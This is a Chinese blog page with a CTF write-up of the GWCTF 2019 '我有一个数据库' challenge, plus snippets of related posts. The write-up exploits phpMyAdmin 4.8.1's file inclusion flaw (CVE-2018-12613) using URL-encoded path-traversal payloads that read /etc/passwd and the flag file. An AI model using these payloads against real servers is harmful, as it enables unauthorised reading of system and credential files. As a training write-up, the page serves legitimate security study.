[GWCTF 2019]我有一个数据库

最新推荐文章于 2024-01-31 18:28:18 发布
最新推荐文章于 2024-01-31 18:28:18 发布
阅读量1.4k 收藏 2
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41628669/article/details/106133126
版权

知识点

  • phpmyadmin任意文件读取

 

dirb扫描到后台有phpmyadmin目录，访问一下


在这里插入图片描述

 

版本为4.81，经查询，存在远程文件读取漏洞

直接上payload读取passwd文件

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 


在这里插入图片描述

 

读取成功，尝试读取flag文件

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

 


在这里插入图片描述

 

参考
phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpmyadmin 4.8.1 远程文件包含漏洞

「已注销」
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[GWCTF 2019]我有一个数据库(文件包含漏洞)
weixin_44110537的博客
10-03 399
一堆乱码,什么都没有. 查看源代码也没有什么隐藏信息. 于是dirsearch扫描一下,发现 有个数据库登入页面. 发现不用登录直接就可以进去了. 但是发现这里面什么都没有. cve-2018-12613-PhpMyadmin后台文件包含 这个漏洞出现在index.php中的 // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_st.
BUU刷题--[GWCTF 2019]我有一个数据库
weixin_48631429的博客
12-02 546
我有一个数据库 打开看到这样一堆文字，读不懂，也没有其他的信息。 怎么想也想不到该怎么做，buu还不能扫描。所以只能看了wp，看到有一个/phpmyadmin，回来开始想怎么做 phpmyadmin版本信息4.8.1，搜索一下有什么漏洞。 任意文件包含：那么我们就可以利用来读flag ?target=db_datadict.php%253f/../../../../../../../../../flag 拿到flag 考点就是CVE-2018-12613 ...
[GWCTF 2019]我有一个数据库 wp
m0_55185160的博客
04-23 4312
得到了/phpmyadmin/路径，加上题目是我有一个数据库，于是想到应该本题就是和phpmyadmin数据库有关 我们可以看到phpmyadmin的版本为4.8.1，搜索后发现这个版本的phpmyadmin存在漏洞CVE-2018-12613，下面我们复现一下漏洞。 首先分析一下源码： index.php 关于target的部分 $target_blacklist = array ( 'imp..
[GWCTF 2019]我有一个数据库&&getshell
plant1234的博客
03-24 2707
BUU我有一个数据库&&getsholl 做这题的话目的是为了复现 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 这题的话打开看是乱码,但查看响应还是有东西的： 多的不说先信息收集一波，直接扫目录，看页面有没有有用的信息 然后。 日常访问有没有：robots.txt 得到： 在发现有phpinfo.php 访问得到： 得到了后端脚本语言php的一些信息 扫描得到： 扫描发现有：phpmyadmin/ 直接访问得到： 发现没有要登陆省去了很多的步骤 尝试用
DES加密、DES解密、AES加密、AES解密
06-26
个人例子，VS2013，DES加密、DES解密,AES加密，AES解密，
el函数的使用文档
07-09
该文档主要包括一些el函数的简单使用说明.
[GWCTF 2019]我有一个数据库（特详解）
最新发布
qq_74806534的博客
01-31 1万+
记下来就是利用文章里的payload了，这里../回到上一级目录，只要多于5个，能回到根目录就行，etc/passwd是linux存放用户和密码的文件，在根目录。页面一开始乱码，先教大家应该修复的方法，到火狐打开，然后找到小工具里的修复文字编码，就可以了（没有的话可以在定制工具栏里添加）在界面可以查到各服务器的版本，可以去百度各版本服务器的漏洞。他说什么都没有，先dirsearch扫一下。直接看上面那个师傅的文章，十分详细的。查看其他的吧，有个数据库看看去。这里就不一样查了，直接上结论。
[GWCTF 2019]我有一个数据库(CVE-2018-12613)
记录学习，一起进步
01-29 262
[GWCTF 2019]我有一个数据库(CVE-2018-12613)
buuctf-[[GWCTF 2019]我有一个数据库（小宇特详解）
小宇的web博客
02-12 578
buuctf-[[GWCTF 2019]我有一个数据库（小宇特详解） 这里不知道什么原因显示的乱码 直接使用dirsearch对网站进行扫描吧 这里扫到了phpmyadmin目录，无密码直接登录成功。 这里给出了版本号MySQL数据库Version 4.8.1。 这个版本有文件包含漏洞 漏洞原理是 利用/使db_datadict.php?成为一个不存在目录，利用include函数的目录不断跳转尝试得到flag目录。 payload phpmyadmin/index.php?target=db_datadi
[GWCTF 2019]我有一个数据库 WP
weixin_52599204的博客
08-05 880
提示我有一个数据库，但里面什么都没有，于是拿dirsearch跑了一下，没有出结果。那么思路肯定就是复现漏洞了，于是开始找。但是有数据库嘛，那么试试常见的几个加上。看到最多的是文件包含漏洞 编号。最后的payload。...
[GWCTF 2019]我有一个数据库 1
shinygod的博客
03-05 1381
知识点：phpmyadmin 扫描 什么都没有，御剑扫一下 进phpmyadmin看看 直接对着版本信息上网查版本漏洞 phpmyadmin 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次，所以在checkPageValidity()中，$page的值一开始会是db_datadict.php%3f，又一次url解码后变成了db_datadict.php?，这次便符合了?前内容在白名单的要求，函数返回true 但在index.php中$_REQUEST[‘t
web buuctf [GWCTF 2019]我有一个数据库1
weixin_44214568的博客
03-26 3397
1.直接放弃御剑了，在buu上扫不到，我自己登录先看了一下有没有robots.txt，有，但是没有扫到，我用了disearch，设置了s之后可以扫到了 py dirsearch -u url -e * -s 1 扫描出来
[GWCTF2019]huyao
07-28
\[GWCTF2019\]huyao是一个CTF比赛中的题目。根据引用\[1\]和引用\[2\]的内容，它可能涉及到频域盲水印隐写。具体的解题方法和细节需要参赛者在比赛中进行分析和解决。 #### 引用[.reference_title] - *1* [BUUCTF MISC刷题笔记(三)](https://blog.csdn.net/weixin_45696568/article/details/116421340)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [BUUCTF misc 解题记录 二（超级详细）](https://blog.csdn.net/qq_51090016/article/details/115712647)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值